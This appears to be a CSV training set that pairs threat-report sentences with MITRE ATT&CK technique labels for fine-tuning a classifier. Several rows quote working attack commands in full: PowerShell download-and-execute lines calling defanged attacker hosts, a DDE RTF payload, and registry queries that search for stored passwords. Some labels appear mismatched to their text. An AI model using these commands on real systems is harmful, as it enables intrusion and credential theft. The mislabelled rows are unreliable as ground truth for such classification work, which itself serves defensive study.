When the trojan starts up it will attempt to install a scheduled task with the name of “Java Maintenance64” to keep itself running.,"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
The campaigns maintain persistence on machines by creating two daily scheduled task entries.,"['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"The script writes files to the path % appdata %\Roaming\Microsoft\Templates\, then creates two task entries triggered to run daily.","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",fine_tune
"On occasions, the phishing emails contained links to external domains to download the first stage, and sometimes the first stage was attached to the email itself",['T1598.003 - Spearphishing Link'],fine_tune
These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files,['T1598.003 - Spearphishing Link'],fine_tune
"The first link was labeled as ""Comparison of Major Tasks in '16 & '17"" and the second link was identified as ""Comparison between '16 & '17"".Upon opening these links the user was presented with a further decoy Hangul document",['T1598.003 - Spearphishing Link'],fine_tune
It is highly likely the adversary then used spear-phishing attacks containing links to these malicious documents as a delivery mechanism,['T1598.003 - Spearphishing Link'],fine_tune
email with an embedded tracking link,['T1598.003 - Spearphishing Link'],fine_tune
"A total of 64MB of garbage data is appended to this copied file, likely as a way to deter any security products in place that may be scanning files on disk",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
"Using this example, Comnie will then request data to supply to the BAT script, via the following decrypted request: h=HOSTNAME-PC&f=gethostinfo.bat&c=& Based on network traffic witnessed, the remote C2 server was found to respond with the following information:       netstat -ano > %TEMP%\info.datipconfig /all >> %TEMP%\info.datroute PRINT >> %TEMP%\info.datnet view >> %TEMP%\info.dattasklist >> %TEMP%\info.datnet user >> %TEMP%\info.datnet start >> %TEMP%\info.dat       This script is written to a temporary file prior to be executed",['T1007 - System Service Discovery'],fine_tune
"The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"The locations:  For root user  path: /Library/CoreMediaIO/Plug-Ins/FCP-DAL/iOSScreenCapture.plugin/Contents/Resources/ processname: screenassistantd  For regular user  path: ~/Library/Spelling/ processname: spellagentd Subsequently, it implements the Loader::installLoader method, reading the hardcoded 64-bit Mach-O executable (magic value 0xFEEDFACF), and writing to the previously determined path and file",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"This field contains a URL that the Trojan will use to upload the contents of the <process ID of Trojan>.txt file, which will be structured as <process ID of Trojan>.<C2 domain> where the process ID is encoded with the same character substitution function as seen previously in Table 4",['T1057 - Process Discovery'],fine_tune
"The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes",['T1057 - Process Discovery'],fine_tune
Gather domain and account names based on all running processes  Gathering account information from running processes,['T1057 - Process Discovery'],fine_tune
"Figure 2: Process chain for the first part of the campaign Although the actual VBS script changed from sample to sample, with different levels of obfuscation and different ways of invoking the next stage of process tree, its final purpose remained same: invoking PowerShell to decode the Base64 encoded PowerShell command in the INI file that was dropped earlier by the macro, and executing it",['T1057 - Process Discovery'],fine_tune
It searches the active process list for the systemd process,['T1057 - Process Discovery'],fine_tune
"Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted",['T1057 - Process Discovery'],fine_tune
This directory will also contain the process id of the running malware in process.id and a “build name” (as it is called by the author) in build.id,['T1057 - Process Discovery'],fine_tune
Enumerates running processes for “Wireshark” and “Sysinternals”,['T1057 - Process Discovery'],fine_tune
"What does the Poseidon Group do? What happens after a target machine is infected? Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services",['T1057 - Process Discovery'],fine_tune
78 runin.bin List of processes names and associated plugins should be run inside these processes,['T1057 - Process Discovery'],fine_tune
"The command does not attempt to kill the specific Office process that would load the particular delivery document, such as Excel in the case of this “.xlam” file, but instead attempts to kill processes associated with Word, Excel, PowerPoint and Publisher",['T1057 - Process Discovery'],fine_tune
"While it includes multiple ways to find Explorer, the preferred method is to get the process id from the current desktop window.",['T1057 - Process Discovery'],fine_tune
"As part of the anti-debugging or anti-monitoring techniques, ShellTea iterates over all the running processes, applies CRC32 on each process name (after converting the string to capital letters), and then compares the value against a predefined set of CRCs.",['T1057 - Process Discovery'],fine_tune
lists the running processes,['T1057 - Process Discovery'],fine_tune
The Trojan will then use the following regular expression to check the HTTP response to the content upload request for the file identifier value: \”id\”:(.*) The Trojan will use this file identifier value to monitor for changes made to the file by the actor by checking for changes to the modification time of the <process ID of Trojan>.txt file,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
The Trojan uses the access token to write the string above to the first file uploaded to Google drive whose filename is <process ID of Trojan>.txt,['T1134 - Access Token Manipulation'],fine_tune
"The tokens for each platform are hardcoded within the sample:November 2016 to January 2017: ""Evil New Year"" CampaignIn the early part of 2017, Group123 started the ""Evil New Year"" campaign",['T1134 - Access Token Manipulation'],fine_tune
"Figure 6 Relational diagram of artifacts  We created a timeline of the activity based off the data we collected, and found that the attack dates were tightly clustered into two waves in mid- to late-October and in mid-November as we see in Figure 7 using the timestamps from Table 3",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"Ability to disable Microsoft Office Protected View (as shown in Figure 15) by setting the following keys in the Windows Registry: DisableAttachmentsInPV DisableInternetFilesInPV DisableUnsafeLocationsInPV       Figure 15: Disabling Microsoft Office Protected View  Ability to remotely reboot or shut down or clean the system based on the command received from the C2 server, as shown in Figure 16",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
"From an infrastructure point of view there is no overlap between the two sets of activity, the only overlap is the use of the unique tool “DNSMessenger”  When these points are considered together in conjunction with the significant difference in targeting they make a strong case for classifying this activity as distinct from FIN7 activity",['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
SHA256 Compiled C2 account POP3S Account SMTPS Accounts   861b6bc1f9.,['T1087 - Account Discovery'],fine_tune
"Restricting these privileges may prevent malware from running or limit its capability to spread through the network.Carefully consider the risks before granting administrative rights to users on their own machines.Scrub and verify all administrator accounts regularly.Configure Group Policy to restrict all users to only one login session, where possible.Enforce secure network authentication, where possible.Instruct administrators to use non-privileged accounts for standard functions such as web browsing or checking webmail.Segment networks into logical enclaves and restrict host-to-host communication paths",['T1087 - Account Discovery'],fine_tune
"This may include information about the currently logged in user, the hostname, network configuration data, active connections, process information, local and domain administrator accounts, an enumeration of user directories, and other data",['T1087 - Account Discovery'],fine_tune
"With these outputs, FIN6 was able to identify user accounts that could access additional hosts in the domain",['T1087 - Account Discovery'],fine_tune
"The PowerShell script collects all possible information on the user and the network, including snapshots, computer and user names, emails from registry, tasks in task scheduler, system information, AVs registered in the system, privileges, domain and workgroup information",['T1087 - Account Discovery'],fine_tune
Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
Mandiant initially identified an early variant of the POSHSPY backdoor deployed as PowerShell scripts during an incident response engagement in 2015,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
Figure 2: WindowsParentalControlsMigration CommandLineTemplate Figure 3 contains the decoded PowerShell command from the “CommandLineTemplate.”      Figure 3: Decoded CommandLineTemplate PowerShell code POSHSPY PowerShell Component The full code for a POSHSPY sample is available here,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
Additional Reading This PowerShell logging blog post contains more information on improving PowerShell visibility in your environment,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"However, in this new variant, all the DNS activity is initiated and executed solely from memory – unlike previous attacks which used PowerShell commands","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"The PowerShell script executes a compressed first stage PowerShell child process, which then performs a second stage PowerShell process","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The PowerShell implant used in the Olympics campaign was a stager based on the PowerShell Empire framework that created an encrypted channel to the attacker’s server,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"(For more on steganography, see the McAfee Labs Threats Report, June 2017, page 33.) The implants covered in this research establish a permanent presence on the victim’s system once the PowerShell implant is executed","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The main function performed by the SCT file is to Base64 decode the contents of WindowsDefender.ini file and execute the decoded PowerShell Script using the following command line: powershell.exe -exec Bypass -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\\ProgramData\\WindowsDefender.ini) The rest of the malicious activities are performed by the PowerShell Script,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
PowerShell File Analysis The PowerShell script employs several layers of obfuscation to hide its actual functionality,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Figure 11: PowerShell script is XOR encoded using a single byte key After deobfuscating the contents of the PowerShell Script, we can divide it into three sections","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The malicious macros were all designed to use Windows PowerShell to download a shellcode-based payload from a remote server,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The macro uses PowerShell to download a shellcode-based payload from a remote server using one of two available techniques,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"On January 1, 2017, we observed this URL responding to the above HTTP request with the following data:powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF..snip..As you can see, the C2 server responds with a PowerShell command that will run on the system","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Upon execution in a vulnerable environment, the PowerShell based payload takes over","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The PowerShell script is responsible for downloading the final payload from C2 server to execute it,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
Use of the non-public PowerShell backdoor previously described by Morphisec and MalwareBytes (which we refer to as POWERSTATS),"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
Attacker deception and attribution The deobfuscated PowerShell code used by the MuddyWater group resembles previously seen PowerShell scripts that most likely served as prototypes,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Lock PowerShell Execution Policy, must be set to “AllSigned” via GPO","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities.  hUpdateCheckers.ps1 (POWRUNER) The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d)  contains the following formula that Excel will save to the “A0” cell in the worksheet:  The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL hxxp://micrrosoft[.]net/winupdate.ps1,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"The decompressed PowerShell payload has some similarities to the PowerShell Empire agent, such as the use of a jitter value and commands referred to by job ID, but we do not have conclusive evidence that the author of this tool used Empire as a basis for their tool","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"It will run the newly downloaded PowerShell script by running the following command via cmd /c:       wscript.exe ""Office365DCOMCheck.vbs"" ""PowerShell.exe-ExecutionPolicy bypass -WindowStyle hidden -NoProfile <path to Office365DCOMCheck.ps1 script>""     The payload will then notify the C2 it has successfully downloaded and executed the secondary PowerShell payload","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The Information Gathering Tool (IGT) tool is coded in Delphi and includes powershell and SQL components across a dozen different drops,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -Whidden $e=(New-ObjectSystem.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');powershell -enc $e #     The unused command above appears to be related to previous attacks, specifically attacks that occurred in November 2017 as discussed by McAfee and ESET","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Then, it will launch Dec.exe using PowerShell with the command “ cmd.exe /c powershell - WindowStyle Hidden Start-Process Dec.exe - WindowStyle maximized ”.","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The attacker made use of Cobalt Strike’s “psexec” lateral movement command to create a Windows service named with a random 16-character string on the target system and execute encoded PowerShell,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Next, the script triggered a PowerShell stager","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Following successful infiltration, the malware persists through registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run The command line execution leads to PowerShell code executed from a different registry value .","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C& Cs.,"['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The script is used to decode and execute the following payloads:Appach01.jpg (renamed: Windows-KB275122-x86.exe) is a Freenki sample.Appach01.jpg (renamed: Windows-KB271854-x86.exe) is a PoohMilk sample.PoohMilk AnalysisThe PoohMilk sample is designed to perform two actions:Create persistence to execute the Freenki sample at the next reboot.Check specific files on the infected machine.The first action is to create a registry key in order to execute the Windows-KB275122-x86.exe file previously downloaded,['T1106 - Native API'],fine_tune
"Additionally we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory() and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT they continue to use similar Windows APIs",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"It hands over the decrypted buffer extracted from the resource section and the path from the original RegAsm executable to the start_protect_hexcode function.Then it starts the process-hollowing shellcode, which is stored in the HEXCODE1 variable",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Then, they are using the process hollowing technique to hide the execution of these tools inside of the original Microsoft vbc.exe (VisualBasic Compiler) process",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Figure 6 Example of delivery document The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here:       {\rtf1{\field{\*\fldinst DDEAUTO ""C:\\\\WIndowS\\\\SYsTem32\\\\cMD.eXe "" ""/C	POWErsHELl.eXE  -ex     BypaSs  -NOP	-w      HIdDen  (NEw-oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe( 'hxxp://86.106.131[.]177/link/GRAPH.EXE'  ,       '%apPDAtA%\graph.exe'   )   ;       saps    '%Appdata%\graph.exe'""}}}     The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Figure 1 Article referenced by decoy document in attack against British government agency   The attached document leverages a DDE exploit to ultimately execute the following code:c:\\windows\\system32\\cmd.exe ""/k PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -noprofile -command (New-Object System.Net.WebClient).DownloadFile('https://881.000webhostapp[.]com/0_31.doc', '%TEMP%\\AAA.exe');Start-Process('%TEMP%\\AAA.exe')Palo Alto Networks first witnessed this DDE exploit technique in May 2017, and attackers continue to leverage it",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Upon execution, this Trojan checks to see if it was configured with “BINDERON” to determine if it should extract an embedded payload from a resource named “B”, save it to %TEMP%\%BIND1%, and create a new process with the embedded payload",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
Figure 15: Structure used to send data to server    Figure 16: Structure used to send data to C2 server The structure is converted to Base64 using the CryptBinaryToStringA function,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
It then uses WebDAV to upload to a Box cloud drive.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
"Much like the previous version of Reaver, Reaver.v3 will query the necessary registry keys to determine the correct startup path to use",['T1012 - Query Registry'],fine_tune
"An example of this decompressed configuration may be seen below:  Figure 2 Decompressed Reaver configuration This configuration contains multiple pieces of information, including the following:  Network port Sleep timer between network requests Remote Command and Control (C2) Service Name Service Description Service Display Name Hardcoded String",['T1569.002 - System Services: Service Execution'],fine_tune
"Much like the original payload, this tool uses if/else statements to skip the legitimate code in the Saransh Email System source to run the malicious functions, which have the same method names as the original tool and follow the same call sequence:  Form1.Speed Form1.diomadnfagaghagh Form1.fjcsERIfjfiojsGHIsdifjksi Form1.gsgjIDJIGJIGJIGJIFDOSpl Form1.FJaioefgkaoeK  This chain of functions eventually loads a resource named ‘GSrdofjksrgj’, which the tool decrypts using the same algorithm and key as in the initial payload:byte[] array4 = new byte[] {     19,     129,     43,     37,     56,     65,     255,     75,     111,     19,     211,     120,     0,     49,     126,     248 };The decrypted payload has a SHA256 hash of 5e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5, which is a variant of the NanoCore remote administration tool",['T1569.002 - System Services: Service Execution'],fine_tune
"The files we recovered indicate they do it by executing a script file, which uses the Sysinternals  psexec tool to move laterally by trying to copy it to every machine they can reach:",['T1569.002 - System Services: Service Execution'],fine_tune
"The following capabilities have been observed in this payload:  Get drive information Modify files Modify directories Modify registry Spawn process Terminate process Modify services Kill self   Ties to SunOrcal Reaver was used concurrently with SunOrcal over the past year, to include two Reaver samples dropped from zip files hosted on a domain also being used as a SunOrcal C2 (www.fyoutside[.]com), and there is also passive DNS overlap amongst the C2s",['T1112 - Modify Registry'],fine_tune
The backdoor will modify the registry for the Windows Media Player to store its C&C configuration.,['T1112 - Modify Registry'],fine_tune
"Hard Disk Check The Trojan will perform the following WMI query:   Select * from Win32_DiskDrive   The Trojan will check the Caption and Model fields in the results for the strings Virtual, VMWare, VM, VBox or Oracle","['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
"Motherboard Check The Trojan will perform the following WMI query:   Select * from Win32_BaseBoard   The Trojan will check the Manufacturer and Product fields in the results for the strings VMware, Virtual, VBox, VM or Oracle","['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
ShellTea utilizes a number of techniques to identify if it is running within a virtual environment or is being monitored.,"['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
High resolution screenshots of specified process windows and when recording VoiceIP application audio,['T1123 - Audio Capture'],fine_tune
"To ensure its victim will use IE, it will terminate any process in-focus that is Chrome or Firefox, in hopes the victim will believe the browsers are “malfunctioning.” Whenever a victim uses IE and browses to specific Brazilian banks or businesses, the malware will only then begin to log keystrokes",['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
"The usage of LinkedIn to deliver malicious documents,",['T1566.003 - Spearphishing via Service'],fine_tune
"At the same time, Enc.exe will start the encryption routine and append “. jcry ” as file extension to the encrypted file.",['T1486 - Data Encrypted for Impact'],fine_tune
Opening document starts a template injection technique for loading the document template from the internet.,['T1221 - Template Injection'],fine_tune
The Data field is encrypted using a custom stream cipher.,['T1486 - Data Encrypted for Impact'],fine_tune
"Finally the script deletes the shadow copies, in a preparation for the ransomware operations.",['T1490 - Inhibit System Recovery'],fine_tune
They apparently create a Domain Admin account  named SQLSVC and give it the password Br4pbr4p (which also happens to be the password salt preconfigured in the dirtycow exploit script) and then leverage that account to perform a series of commands.,['T1136 - Create Account'],fine_tune
smb and exploit in same sentence,['T1210 - Exploitation of Remote Services'],fine_tune
"The decoy file, doc.rtf, contains an OLE object that uses Equation Editor to drop the embedded shellcode in %TEMP%",['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
The decrypted shellcode is dropped as a Microsoft Word plugin WLL  into C:\Users\ADMINI~1\AppData\Roaming\Microsoft\Word\STARTUP.,['T1137 - Office Application Startup'],fine_tune
The wormDll32 module attempts to identify servers and domain controllers in the network using NetServerEnum and LDAP queries.,['T1482 - Domain Trust Discovery'],fine_tune
This module searches the infected system’s files to gather email addresses for information-stealing purposes.,['T1114 - Email Collection'],fine_tune
"A USB data collecting tool that checks for a connected USB drive and steals certain file types, encrypting them into a RAR file.",['T1025 - Data from Removable Media'],fine_tune
overwrite or delete MBR in same sentence,['T1561.002 - Disk Structure Wipe'],fine_tune
master boot record wiper,['T1561.002 - Disk Structure Wipe'],fine_tune
MBR + overwrite/wipe,['T1561.002 - Disk Structure Wipe'],fine_tune
reg query HKLM /f password /t REG_SZ /s,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
reg query HKCU /f password /t REG_SZ /s,['T1552.002 - Unsecured Credentials: Credentials in Registry'],fine_tune
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager,['T1546.009 - Event Triggered Execution: AppCert DLLs'],fine_tune
COM and execution in same sentence,['T1021.003 - Remote Services: Distributed Component Object Model'],fine_tune
C:\Windows\System32\sethc.exe,['T1546.008 - Event Triggered Execution: Accessibility Features'],fine_tune
collect + keychain in same sentence,['T1555.001 - Credentials from Password Stores: Keychain'],fine_tune
looks for net and account or domain in close proximity,['T1201 - Password Policy Discovery'],fine_tune
"!ProcessList List running processes, including their PID, parent PID, executable name and priority   !SendFileToServer Uploads a specified file to the C2 server   !CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server","['T1057 - Process Discovery', 'T1105 - Ingress Tool Transfer']",fine_tune
(Source: Dell SecureWorks) Appendix C — OwaAuth web shell analysis OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell,"['T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
(Source: Dell SecureWorks)  ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system,"['T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
(Source: Dell SecureWorks) Table 4 lists the OwaAuth web shell commands available to the adversary,"['T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
(Source: Dell SecureWorks)   The following tools appear to be exclusive to TG-3390:  OwaAuth web shell — A web shell and credential stealer deployed to Microsoft Exchange servers,"['T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
(Source: SecureWorks)  NetWire logs keystrokes and peripheral inputs into encoded files in the C:\Users\<username>   Figure 3,"['T1033 - System Owner/User Discovery', 'T1056 - Input Capture']",fine_tune
(Source: SecureWorks)  The “Windows Folder.exe” executable spawns and injects code into the legitimate notepad.exe Windows process (see Figure 2),"['T1055.012 - Process Injection: Process Hollowing', 'T1055 - Process Injection']",fine_tune
0x007CFABF  video  Desktop video recording    0x06E533C4  download  Downloads executable and injects into new process    0x00684509  ammyy  Ammyy Admin tool    0x07C6A8A5  update  Updates self    0x0B22A5A7     Add/Update klgconfig (analysis incomplete)    0x0B77F949  httpproxy  Starts HTTP proxy    0x07203363  killos  Renders computer unbootable by wiping the MBR    0x078B9664  reboot  Reboots the operating system    0x07BC54BC  tunnel  Creates a network tunnel    0x07B40571  adminka  Adds new C2 server or proxy address for pseudo-HTTP protocol    0x079C9CC2  server  Adds new C2 server for custom binary protocol    0x0007C9C2  user  Creates or deletes Windows user account    0x000078B0  rdp  Enables concurrent RDP (analysis incomplete)    0x079BAC85  secure  Adds Notification Package (analysis incomplete)    0x00006ABC  del  Deletes file or service    0x0A89AF94  startcmd  Adds command to the configuration file (see the Configuration section)    0x079C53BD  runmem  Downloads executable and injects directly into new process    0x0F4C3903  logonpasswords  Send Windows accounts details to the C2 server    0x0BC205E4  screenshot  Takes a screenshot of the desktop and sends it to the C2 server    0x007A2BC0  sleep  Backdoor sleeps until specified date    0x0006BC6C  dupl  Unknown    0x04ACAFC3     Upload files to the C2 server    0x00007D43  vnc  Runs VNC plugin    0x09C4D055  runfile  Runs specified executable file    0x02032914  killbot  Uninstalls backdoor    0x08069613  listprocess  Returns list of running processes to the C2 server    0x073BE023  plugins  Change C2 protocol used by plugins    0x0B0603B4     Download and execute shellcode from specified address    0x0B079F93  killprocess  Terminates the first process found specified by name    0x00006A34  cmd  Initiates a reverse shell to the C2 server    0x09C573C7  runplug  Plugin control    0x08CB69DE  autorun  Updates backdoor    Table 2: Supported Commands Configuration A configuration file resides in a file under the backdoor’s installation directory with the .bin extension,"['T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer', 'T1008 - Fallback Channels']",fine_tune
"13 14 ams_api64.dll ams_api32.dll Handy wrapper around API of exXX.dll, pdXX.dll, sgXX.dll","['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"2.     The macro decodes the dropped files using Windows certutil.exe (certutil.exe is a legitimate built-in command-line program to manage certificates in Windows).    3.     The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) (esentutil.exe is also a legitimate program that is pre-installed in Windows). The dropped files include the following:  GUP.exe : GUP, a free (LGPL) Generic Updater. GUP is an open source binary used by Notepad++ for software updates","['T1055.012 - Process Injection: Process Hollowing', 'T1106 - Native API', 'T1036 - Masquerading', 'T1010 - Application Window Discovery']",fine_tune
22 Keylogging and exfiltrating data The exfiltrated data is base64 that decodes into more custom encoded strings that appear to be “/” delimited,"['T1140 - Deobfuscate/Decode Files or Information', 'T1560 - Archive Collected Data']",fine_tune
37 38 zlib64.dll zlib32.dll Open source “zlib” version 1.2.3 used by libpngXX.dll for compressing screenshots (ssXX.dll),"['T1055 - Process Injection', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
59 60 61 62 freeimage_32.dll freeimageplus_32.dll freeimage_64.dll freeimageplus_64.dll FreeImage open source library supports popular graphics image formats (ver 3.15.4 2012-10-27) (http://freeimage.sourceforge.net),"['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking']",fine_tune
"68271df868f462c06e24a896a9494225,Office Monkeys LOL Video.zip Believe it or not, recipients in bulk run the file within: 95b3ec0a4e539efaa1faa3d4e25d51de,Office Monkeys (Short Flash Movie).exe This file in turn drops two executables to %temp%: 2aabd78ef11926d7b562fd0d91e68ad3, Monkeys.exe 3d3363598f87c78826c859077606e514, player.exe It first launches Monkeys.exe, playing a self-contained, very funny video of white-collar tie wearing chimpanzees working in a high rise office with a human colleague","['T1036 - Masquerading', 'T1125 - Video Capture']",fine_tune
